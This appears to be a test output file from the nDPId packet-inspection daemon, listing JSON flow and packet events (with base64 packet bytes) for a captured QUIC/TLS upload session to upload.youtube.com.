+00650{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"youtubeupload.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1511102576794,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.27","dst_ip":"172.217.23.111","src_port":51925,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.YouTubeUpload","breed":"Fun","category":"Media"},"quic": {"client_requested_server_name":"upload.youtube.com","user_agent":"Chrome\/62.0.3202.94 Windows NT 10.0; Win64; x64"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"youtubeupload.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1511102576835,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.27","dst_ip":"172.217.23.111","src_port":57452,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00428{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":835328,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"XEl5dU5q2MuK4S0uCABFAAA0AURAAIAGcnTAqAIbrNkXb+BsAbtWAw9KAAAAAIAC+vClngAAAgQFtAEDAwgBAQQC"} +02217{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":850542,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"2MuK4S0uXEl5dU5qCABFAAViAABAADkRtX+s2RdvwKgCGwG7ytUFTpL9CJHSvk7nMdgaAY7UOy2eqBjwqYbdQEABH3gBAQD\/\/\/\/6BgCAAVJFSgAIAAAAU1RLADgAAABTTk8AbAAAAFBST0a0AAAAU0NGR1MBAABSUkVKVwEAAFNUVExfAQAAQ1NDVFECAABDUlT\/XwkAAEbxGDSLTF1Q0EvnndIQSTAo6qDgodwKRUkl\/wgXSXZEn9QM2BlHJ5TGchczmqfpPPkVE8tMlsFMfVeayelDb2fy4YzLDv2N+n2kP+GPU+AvJ+LZZRk0N6KyGXGuCIybXc0DgBajeTEN+eTXljBGAiEAu2XBBVnB4JB\/pAM2aIMKtRsM68whkJeFp\/sUQ4KWuigCIQClJ1nIthgBruSaqgIGHfDqWyoEY6pcU10gsmGqIhMu0lNDRkcIAAAAQUVBRAgAAABTQ0lEGAAAAFBETUQcAAAAVEJLUCAAAABQVUJTQwAAAEtFWFNHAAAAT0JJVE8AAABFWFBZVwAAAEFFU0dDQzIw9lqyAICUa+kwugeWBsbKvkNISURUQjEwIAAAhphHmLi5BO0Bd0EZ92vmXccblzalgzbYj90Qfoq9ozBDMjU1MDAwMDAwMDBAFRRaAAAAAAwAAADPfAIAAAAAAADwAHUApLkJkLQYWBSHuxOizGdwCjw1mAT5G9+443fNDsgN3BAAAAFfeBYhgQAABAMARjBEAiBdvW4RdrxYmmjeJbc+3jgs5l6RJLipl3aPIQhj9TtUVgIgA9hjkGDtPgI+WyeFtwtRP0uw9dCVeIWw5SDGQbdmUYsAdwDd6x0reg1PpiCLga2BaHB+Lo6dAdVciI09EcTNtuy+zAAAAV94FiCrAAAEAwBIMEYCIQCUIhZCh2zhmqj0uNpoeUCnAI4TO75j9mv1oMYRKX9EbwIhAIVqH7drJ4DDuKcAhaeeCXOoj8EoQkKnHGLbzkyKPDlhAQEDAeiBYJKSGugAAAAAALsLAAB4u4FGwB+tWGtQE1cUJpBXY6I8VdDyFNEgYZOQAr7wiYpWBawlaIsJ2cBCSCJJwEgVWK3A4KNOsVAVxfdjqlClUhXRURAFClYRHasEpKBgRdBILVjtzS6ETSYz9oczmdmc777Onnvu9527WTQrwFy0TRBKTcQLKrp9dm9xz+ylJ4l0NALQ0SJTNhpMGAZIGIUiTgYb8pXrDXnhuTHeCAI35bB6mBzcF\/AwMggEG8\/l8gN4AQK8oOLyArh8PlZQSS0uRWcy5oK8kSqS5YhoKCFpTNbnCo1cbciulQicavSLSfTLCXLA\/GIy2SCmBhjbXCGAaeAd62cA1adjf2xINJs5VuSOLXMcnO6g0xtjxu1zfIrK71z\/\/lBHSmjev8J8r4IzjW36x8zZNOc0+uStj3j5jQFTCvdXObyJDvLf4usWsNFD234IpYyDUMoYbF1AYEyIMUxgprRFy4BQm1YDYkdGbe4DoxE1cRNlsTkiuSRZgUgwczQwlUpYHofIYWI3ezYnVqbQSIiYI5sjEQfx+cECvhGWo1QwPWhGR4JnLMjJFDVvaGa8k59ILpJp1UisCsNHDLsjIhoybIah1TiI3NROUJramkR0FPHFOKJkc0BjBojNewCvTYGkdWaA2nxIipzgswQmGLCKYEiTCUa8hmAgaoIhlxEMpYmhNmwBbogkgDbw4BmdwRG5YU9wALQmwaAKwbrZDaEpiARWYJAhC1RqQKaxhmEsggUaGWzDvnEJ\/3lDO54Eq5NBL2JvMBWod+IRjNRQW4MlI+YJ2HmtQqPWiGE\/uSJWoUhEjKk3iJt1gyUaXPYxnAZwNUeMxRakTVIchroY"} +02233{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":851515,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"2MuK4S0uXEl5dU5qCABFAAViAABAADkRtX+s2RdvwKgCGwG7ytUFTrHlCJHSvk7nMdgaAjk3HVeItBZp3u\/MM6QBBSEEhrNWhsBytYq44AhiRo+TwCmwTKGEk42JPpys442NKgutZCyRqQAAtRXqaDF9GcRDYiH0Y\/Fi0MLsDELQGJhY4OvQsShgL0wMj6PF4FCw0EDxBIlYDUjOl0D+boN8rExECEHyX7Bo9gIexu6+BD0Z6jwYVS5xhEFjCAVnb9OEZ+1zI6xu60jhXe7FYiEjXGJWdBF1I+wRdfS48r74X1JeZ567KHa5EJ3pD3ngVQyQUTCSgZUFTVprCgmiU6lxmUwgGRCEl12TIR\/Iu8iryOND7yMz0xaswN6jCztbGOmK9M1HAtnb0p6qNH6hov6O7rqWzJfC2lmeHtZeU6WbjsS8u3ntcJQzOr2oWOwTXcLWes24V6eOPFWo8+TNul2fEFLQ78eM1PXs2XQnqjfDqk3auk2v6+r9pEcxm7ylpmzrihbHoOb9i7fucvoKaS0tCfOsbMqMP3nB9ezFL69FLLtTF+p+dsZl1fPc\/DBpqVvY0e9eHrAZ+VA9+k3JGb\/9upojFbdLGEEHzpW4tGy79WmG8IZ+5InTV7teNKN9mWsYUcLOpqcV59uW1kr1OramoTHz1vv11JzRr2tDd4S\/WkfbF2P7ZGza6rI\/j9Us8WXle5QG\/b6jzfNgyphjqo6oKWSDFJMnAQGwxaXYlmTl4Z1d0i88lvqCkib10ZlL8sf48IBpMSTg8YAY8\/iBmBZzeXzwEwQLgqM\/pux\/6Oa0l01OXX1\/+c6p1ENoy\/3lC8tzQnqdlS7ZoRtbdlT15tR7dEe\/E7HKePNyitQjIpd9cbgeFe\/qfiaMud5KybCv\/DovpHzVwiB95N8TOgZ2djpVNugjWfqwt\/tXNG+oKEpUZF25tdxtEmQz6wFdFS5Lfz91+rFA6vZLi+3IzzZMaO745y137UDe3TWvOGHFc27XdlUmuJypi3zktDjX7YazyO23wuMzY303CxB48w3nqlDPN5G7Ktoywmyvs\/+6kO9uVx38oy25qEe0fpf31qURmsfnntNrHN\/WeyacXdoQapOfb7Pxys\/NacXz+Q0XZq4ta9Z7e19lCXIKCwdG2mlzXAOrircnI\/g3DpRkByLCMjmYFj9jDB9zi+fW\/KMGh8A\/npA75EqgFPvB8xrHUWmTYjFShuyNNEGHqOBhDa5jAvygcyBwwyoCN6wtE0wGiocL7zg1ftXFTvv\/oJAPXPQs8EXNovaf7kkkqasq1vY36F29qncjsStini1pcp7kJZFuH1+dlSGJIedOLC7QMZTl5c4zutP4J9Iv6SmNyouUidqu3dUF52nOcEDd9M6QKlK\/grnxj\/XK1Uve+Vn11FT4bS89njFAcsiu3RvSfjG1ZmrcZ6\/q7\/pYJ88tuiS37l1AWTuTJOy02+fyavOojKMH1wn8z1UfTB\/zTWvuytPdcdnhPtCaI+KIa4F3p3V9yyYFZR1sUJ46vP5m5ZOaqgflXryX78ZeTWvRTfNvvGXb8cOSgXllHhLWeas8yH5iVlRBMCVoVB26EFSw0u7LpTGV75XHW9Nztb6\/wrxD58u4nYzXfW68h\/8B+TYP2QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00448{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":854208,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"XEl5dU5q2MuK4S0uCABFAABCAUVAAIARclrAqAIbrNkXb8rVAbsALk5kDJHSvk7nMdgaAuq0FyvZcuyVaKLM2kACBckCAgEAAOOTAANpBgA="} +02207{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":856052,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"XEl5dU5q2MuK4S0uCABFAAViAUZAAIARbTnAqAIbrNkXb8rVAbsFTqRnDJHSvk7nMdgaAyyLjFdNcVlzuTXmLaQBBRQEAENITE8cAAAAUEFEAIsBAABTTkkAnQEAAFNUSwDVAQAAU05PAAkCAABWRVIADQIAAENDUwAdAgAATk9OQz0CAABNU1BDQQIAAEFFQURFAgAAVUFJRHQCAABTQ0lEhAIAAFRDSUSIAgAAUERNRIwCAABTTUhMkAIAAElDU0yUAgAAQ1RJTZwCAABOT05QvAIAAFBVQlPcAgAATUlEU+ACAABTQ0xT5AIAAEtFWFPoAgAAWExDVPACAABDU0NU8AIAAENPUFT0AgAAQ0NSVAwDAABJUlRUEAMAAENGQ1cUAwAAU0ZDVxgDAAAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLXVwbG9hZC55b3V0dWJlLmNvbUbxGDSLTF1Q0EvnndIQSTAo6qDgodwKRUkl\/wgXSXZEn9QM2BlHJ5TGchczmqfpPPkVE8tMlsFMfVeayelDb2fy4YzLDv2N+n2kP+GPU+AvJ+LZZRk0N6KyGXGuCIybXc0DgBajeTEN+eTXllEwMzkB6IFgkpIa6H7tgIaiFYKRWhGYdDAwMDAwMDAwAe7SCIPnQ1PWDr46r\/+UvwPS2hZkAAAAQUVTR0Nocm9tZS82Mi4wLjMyMDIuOTQgV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY09lqyAICUa+kwugeWBsbKvgAAAABYNTA5AQAAAB4AAAB0mBFaAAAAAPUT+62iwIRX569AbLDs6Z9RsHL+qXZWEqqZnxERFi5j\/+JaQ1ALGX3LVMiGRFQt30C91U1w6uXeUPRGo0fI0ntkAAAAAQAAAEMyNTWcFAf+J8O\/BzVSVE+cFAf+J8O\/B5qR7W8cAIEOQAt7kKmueeuYwAAAAADwAAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00920{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":856408,"pkt_caplen":424,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":424,"pkt_l4_len":390,"pkt":"XEl5dU5q2MuK4S0uCABFAAGaAUdAAIARcQDAqAIbrNkXb8rVAbsBhl8rDJHSvk7nMdgaBOVSrxfaI4LYYRjRG0Udj3++1TSgI9am8mJjBkRF0Im++uEM8aVO3pPxpF+Gegt\/zyR95j78PNzjPlZ1S9J4SyEG2fWDlqIOZ3T3p2CXQpF4VH5Crck\/8\/pEnY9Z63T\/UgHqDGAiVDTXOzLxIcoNNCVQ1m5r6dM81sTBFm46pY9XK+0dyu+JWsITiYNWamVv2VAKKssgs1rzDmT4UFkjg\/Y+TgA924VOtF5YoRb62sl+05yRIR\/RBfFRxD57jDBmQMgQqeqbE42zpgj30hOrFXTb6BgoVQSDW1qtp1p0K2vEwIQiIrC2cUB9MmVVeeeQirDQTMZYNXRo41JU2vrSgIWzToMMDiF3mQrl\/Kf9qUyFykzHDUpL3rQabMhJjjiK2jIwNkzQDf8qXdaDrU\/4DGsOGN+Bgui2jNMYxghRQzsZmLMQEmDWzKRYhHqVBLdCBuvxTL0xQOI8haU3\/L41iKpe34a5uA49jur3tslgysfPqZiSHA=="} +00428{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":862601,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"2MuK4S0uXEl5dU5qCABFAAA0ZyEAADkGk5es2RdvwKgCGwG74GxxouM+VgMPS4ASpxyk0AAAAgQFZAEBBAIBAwMI"} +00420{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":863442,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"XEl5dU5q2MuK4S0uCABFAAAoAUhAAIAGcnzAqAIbrNkXb+BsAbtWAw9LcaLjP1AQAQKLbgAAAAAAAAAA"} +00688{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":864014,"pkt_caplen":256,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":256,"pkt_l4_len":222,"pkt":"XEl5dU5q2MuK4S0uCABFAADyAUlAAIAGcbHAqAIbrNkXb+BsAbtWAw9LcaLjP1AYAQIOQAAAFgMBAMUBAADBAwNzaV7n51zb2vS21tc4seF5SjI58V9vWFLJqkFFqW5W8AAAHHp6wCvAL8AswDDMqcyowBPAFACcAJ0ALwA1AAoBAAB8WloAAP8BAAEAAAAAFwAVAAASdXBsb2FkLnlvdXR1YmUuY29tABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEABQAFAQAAAAAAEgAAABAADgAMAmgyCGh0dHAvMS4xAAsAAgEAAAoACgAIamoAHQAXABjq6gABAA=="} +00737{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":10,"source":"youtubeupload.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":4,"flow_first_seen":1511102576835,"flow_last_seen":1511102576864,"flow_tot_l4_data_len":306,"flow_min_l4_data_len":20,"flow_max_l4_data_len":222,"flow_avg_l4_data_len":76,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.27","dst_ip":"172.217.23.111","src_port":57452,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.YouTubeUpload","breed":"Fun","category":"Media"},"tls": {"version":"TLSv1.2","client_requested_server_name":"upload.youtube.com","ja3":"bc6c386f480ee97b9d9e52d472b772d8","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00414{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":901733,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"2MuK4S0uXEl5dU5qCABFAAAoZzQAADkGk5Cs2RdvwKgCGwG74GxxouM\/VgMQFVAQAKyK+gAA"} +02228{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":912389,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"2MuK4S0uXEl5dU5qCABFAAViAABAADkRtX+s2RdvwKgCGwG7ytUFTmokBBQ+OVz3Ij+26MF1DetYPSzmqGhROYDj1TZaW4mXU2u2A3UXH4Hc+Q4ARMVDvi+FkJFeZFnrG3UFAcZxA4M4pg6GNPcKcOWoIwoe8qfKmkWBzPw+nd7vgldCLe9eXRJITpphSGz\/QI8SRQ2wLkQmrUyUGxN9p5qlJxDdJk+ouQJrdUgqpnQnUCsl0VD+JwP+B8pZftJI1qwkakusBkBj2cL4LXHG8h4eHJOQzBicmj+a04PDriFrb8MlllIhiaocuCyx5+aA5SWEN85UQz6kt\/HRa\/UdBjKJl8COJly\/DbYMzAp7TzW4F+9Lj4UmBaopSVDdAjKkTJBrtKv9l8wE6Pdhzsv4iQiL\/W2xC6zkVVaYFo48LeLYrpo\/a8MRpxeRMrIQEKg0ZYk0bOgfzuLNZdX+m96FtBwz4C1BVdXEoLnuOiM49PgPa3Id+Xou5OLolza\/X14gcUbeb05HDj7cQymW\/bSxaPwxqrQhS03YpnlU6\/tD5h2BVhlLPwx8DJYdZpy\/nxyyzUq+4cuOCXAIFV2vvYPPZnRrTwg0K1MKV4ydCeM+p+63xcaleQaTVFSEj7tVMRq8hZ5f90+B1nKLv1hA+1xuCn1CUxiBsLW6GyT5nA1JP0eoeJsh1ReYBPSCv9GCR36nav51o7kKwhpimusJ10xig96fmdU8mJ2WMkin4APt1oIJr6BRm2GUw1ojWnDkUc8odizKgBhQhS9D8Gyi1qrR3N0ps1P28byiNsXWxGcYLKGzJA5oXhuKfpjRNdlx1fGBeg1\/0I2EjLXIuH6PZaMNLkEnDQ2lyr2is9pmFGzbZ329I8PcMnwTCetpXhPLU3FzeIX8J5NwkLwXU78UUkLPmvb79\/UhmcL7LXc0JOkLiITdI1+cYZsLChWFlD+DUziK\/\/FFbs0D8YeMyaouT7bN66+lNDvnkENHbyUF69fWJKgBDZYDHPTe5T1PYVBWY31JjViwOIwHaPHokugI6vpZ8GvOiUGR5yZ3zvkS4VdqPwYsukc4m5R1x+FNJdszNX+mqd6XVOxiC8zuPZjHlOQF0X0RFw5UAkIJKsNzfT0NiZYbGDMMYBHmXr1vATuD2yd34mI4YlshL4+UHO4eXPmVVVQtHlFLfxjdMrD8zcDrlAXC\/WPunIIvW3fsOsl7uxyG3kECmSTl9Eywaz20ScpGURxHtFjDc7OBZl\/05jJU0avGBjsr3tz\/Gq1hme5kt9SMKN1j8qVzhPYuyf0Zf3ASJ5+M4CHYOyqfjJgc0JBKgrlFscVI0eSguRRW+e2S+lVJsSxNz6AM7lmh6I0aP1ZatTRoAdTH2soHM6s1UBMLdO0ZmRRi6\/A\/ZegerebSEmh6skXTGwEcJxfuPo+B9pM5ixpIj0YLBeqV9ljDc+FsIXc0eC5SSrHAxbFQnm9nFAvMM\/szQmlGFnnw\/ztLqOIDJ5kCxHt6Y+PBvIrz5zAHch23Ao53IxDFb3rIR1K75AuAI88bwuam1GUXCM1IJIUPMRWLQuY\/sNvZyzduW5hBjjDanYsPBaRFv5xYovoTe2yGFzdxLHMw7clnEBFsSxsdD4vRPw3\/NwXZB18oSvHsV5UlnEq1tADpSDFmAuZ2ASrHab15vse4UzqeRCZTHJvqnrurKpRaVqVLYVSEkIHKJBRfXGr+3r0s1lk+NG6N+Dl1MEzbR1lXMLJYUJ3w3tMiW1v\/i07SokmL+vxB4fsRhS0JHAHn7hqZxj\/nq6PsIuohkcv+yiIurpq5AlA+lyN0FWMfUBfeI0KkhJW84pbNJjOeMPI4OtxpVbBmAKitI78d"} +00441{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":912476,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"2MuK4S0uXEl5dU5qCABFAAA7AABAADkRuqas2RdvwKgCGwG7ytUAJ5IuAAQ8ECdTRpVnV9+oSWYGy3mYRCs3B2+0FDByItPUGg=="} +00453{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":913922,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"XEl5dU5q2MuK4S0uCABFAABFAU9AAIARck3AqAIbrNkXb8rVAbsAMUaUDJHSvk7nMdgaBWx1h8W4rU+rWysUoGyyfaXYefGQ3Q6rcjgOMLALRM4="} +00452{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":914273,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"XEl5dU5q2MuK4S0uCABFAABCAVBAAIARck\/AqAIbrNkXb8rVAbsALjxiDJHSvk7nMdgaBvefk5BFCfTm8yizXS+ACd9jsfKP\/jdHW7vO+NM="} +02337{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"youtubeupload.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1511102576,"pkt_ts_usec":919746,"pkt_caplen":1484,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1484,"pkt_l4_len":1450,"pkt":"2MuK4S0uXEl5dU5qCABFAAW+Zz0AADkGjfGs2RdvwKgCGwG74GxxouM\/VgMQFVAQAKxmrwAAFgMDAUACAAE8AwNaEZhwQMvGRia17iQ85cfpWbIlyCEK78TiiV+80WkH5ADALwABFP8BAAEAABcAAAAjAAAAEgD0APIAdwCkuQmQtBhYFIe7E6LMZ3AKPDWYBPkb37jjd80OyA3cEAAAAV94FwAmAAAEAwBIMEYCIQCOcpHP8eLkntxXQ1Tjrgkfq4a8wWjfm33hC1SHIQ0zHwIhAOLCA4CBB1GjG48ln\/xLUqYo9bxAHzpi9\/wC7nxlADUGAHcA3esdK3oNT6Ygi4GtgWhwfi6OnQHVXIiNPRHEzbbsvswAAAFfeBb\/SgAABAMASDBGAiEAl\/lB3YySaQBKpLdTWGCB3bhmYqAySFOE4dze3W8NKA8CIQDAs3VT1pBZoPf6aMJOV84XGdv4AMLdR1a5823Z8ZfkcwAQAAUAAwJoMgALAAIBABYDAw1UCwANUAANTQAFlzCCBZMwggR7oAMCAQICCAIhoPm+N6ZAMA0GCSqGSIb3DQEBCwUAMEkxCzAJBgNVBAYTAlVTMRMwEQYDVQQKEwpHb29nbGUgSW5jMSUwIwYDVQQDExxHb29nbGUgSW50ZXJuZXQgQXV0aG9yaXR5IEcyMB4XDTE3MTEwMTEzNTAxNVoXDTE4MDEyNDEzMzEwMFowcTELMAkGA1UEBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDU1vdW50YWluIFZpZXcxEzARBgNVBAoMCkdvb2dsZSBJbmMxIDAeBgNVBAMMF3VwbG9hZC52aWRlby5nb29nbGUuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5ryVbbUxWBaKji+NxntNSt6Z+GPWIqfQH7GwVQ6iLXU61szXi38czpU6Yf7tUQoczH1uvL6sUOvrhWuxOqd3HTJYcXcyT+R1+jw96SSAHcnzl0p9kyuq4szOvkQKx6QRbH75b+TIL0JGRwxTefyONvSbYxYEOE\/03C3ticqPSv\/ZcGmujaJZWgsnUfSCIhyOmWT\/toMf4vNwHx8BGEcjjW8D+gqCZVbk+VbTTFZnbiakh\/bBYs1XbxEr+glbKjtZKnywHTuWenHPV89IJod6TiKT4cfCb0ze+Os5uBTnNHaKVxA0y4zXVOZK3wzupA7aHlE6lFuB\/k8kGzRNbjgGtwIDAQABo4ICVTCCAlEwEwYDVR0lBAwwCgYIKwYBBQUHAwEwggErBgNVHREEggEiMIIBHoIXdXBsb2FkLnZpZGVvLmdvb2dsZS5jb22CFCouY2xpZW50cy5nb29nbGUuY29tghEqLmRvY3MuZ29vZ2xlLmNvbYISKi5kcml2ZS5nb29nbGUuY29tghMqLmdkYXRhLnlvdXR1YmUuY29tghAqLmdvb2dsZWFwaXMuY29tghMqLnBob3Rvcy5nb29nbGUuY29tghMqLnVwbG9hZC5nb29nbGUuY29tghQqLnVwbG9hZC55b3V0dWJlLmNvbYIXKi55b3V0dWJlLTNyZC1wYXJ0eS5jb22CEXVwbG9hZC5nb29nbGUuY29tghJ1cGxvYWQueW91dHViZS5jb22CH3VwbG9hZHMuc3RhZ2UuZ2RhdGEueW91dHViZS5jb20waAYIKwYBBQUHAQEEXDBaMCsGCCsGAQUFBzAChh9odHRwOi8vcGtpLmdvb2dsZS5jb20vR0lBRzIuY3J0MCsGCCsGAQUFBzABhh9odHRwOi8vY2xpZW50czEuZ29vZ2xlLmNvbS9vY3NwMB0GA1UdDgQWBBQ9pagvXHbYn+X52hgMckhuKOTnajAMBgNVHRMBAf8EAjAAMB8GA1UdIwQYMBaAFErdBhYbvPZotXb1gba7Yhq6WoEvMCEGA1UdIAQaMBgwDAYKKwYBBAE="} 